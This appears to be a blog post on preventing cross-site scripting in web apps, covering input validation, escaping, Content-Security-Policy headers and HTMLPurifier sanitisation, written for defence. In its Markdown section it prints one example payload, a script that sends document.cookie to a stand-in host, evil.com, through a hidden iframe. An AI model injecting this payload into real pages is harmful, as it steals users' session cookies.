This is probably the most common vulnerability these days on Internet Web Apps. Consist in inject client-side scripts in web pages viewed by other users.
This kind of attacks can be split in two big categories: The first lies in how malicious input navigates the web application, while the second attempt to include the malicious input within the output of current request.
Here I will show you a list of topic you should have in mind.
Input Validation is any web application’s first line of defence.Validation works best by preventing XSS attacks on data which has inherent value limits. An integer, for example, should never contain HTML special characters. An option, such as a country name, should match a list of allowed countries which likewise will prevent XSS payloads from being injected.
Input Validation can also check data with clear syntax constraints.
Escaping (also Encoding)
The Content-Security Policy (CSP) is a HTTP header which communicates a whitelist of trusted resource sources that the browser can trust. Any source not included in the whitelist can now be ignored by the browser since it’s untrusted. Consider the following:
X-Content-Security-Policy: script-src ‘self’
X-Content-Security-Policy: script-src ‘self’ http://code.jquery.com; style-src ‘self’
At some point we might need to include external HTML without escaping it. An example of that can be blog comments.
If we were to escape the resulting HTML markup from those sources, they would never render correctly so we instead need to carefully filter it to make sure that any and all dangerous markup is neutralised.
I am a Markdown paragraph.<script>document.write(‘<iframe src=”http://evil.com?cookie=‘ + document.cookie.escape() + ‘” height=0 width=0 />’);</script>
There’s no need to panic. I swear I am just plain text!
Markdown is a popular alternative to writing HTML but it also allows authors to mix HTML into Markdown. It’s a perfectly valid Markdown feature and a Markdown renderer won’t care whether there is an XSS payload included.
In order to prevent here is an example of a PHP library: HTMLPurifier
// Basic setup without a cache
$config = HTMLPurifier_Config::createDefault();
$config->set(‘Core’, ‘Encoding’, ‘UTF-8’);
$config->set(‘HTML’, ‘Doctype’, ‘HTML 4.01 Transitional’);
// Create the whitelist
$config->set(‘HTML.Allowed’, ‘p,b,a[href],i’); // basic formatting and links
$sanitiser = new HTMLPurifier($config);
$output = $sanitiser->purify($untrustedHtml);
Final remarks and cheat sheets
Always the first step to prevent almost all kind of attack is to clean/sanitize all inputs and outputs.
Security workflow should traversal to the whole lifecycle of the project, is not just a patch we can apply at some point to fix all problems. It should be think from the design stage.
In addition to the above words, and to finish this post, I will share a couple of cheat sheets that would help you in the develop/implementation stages.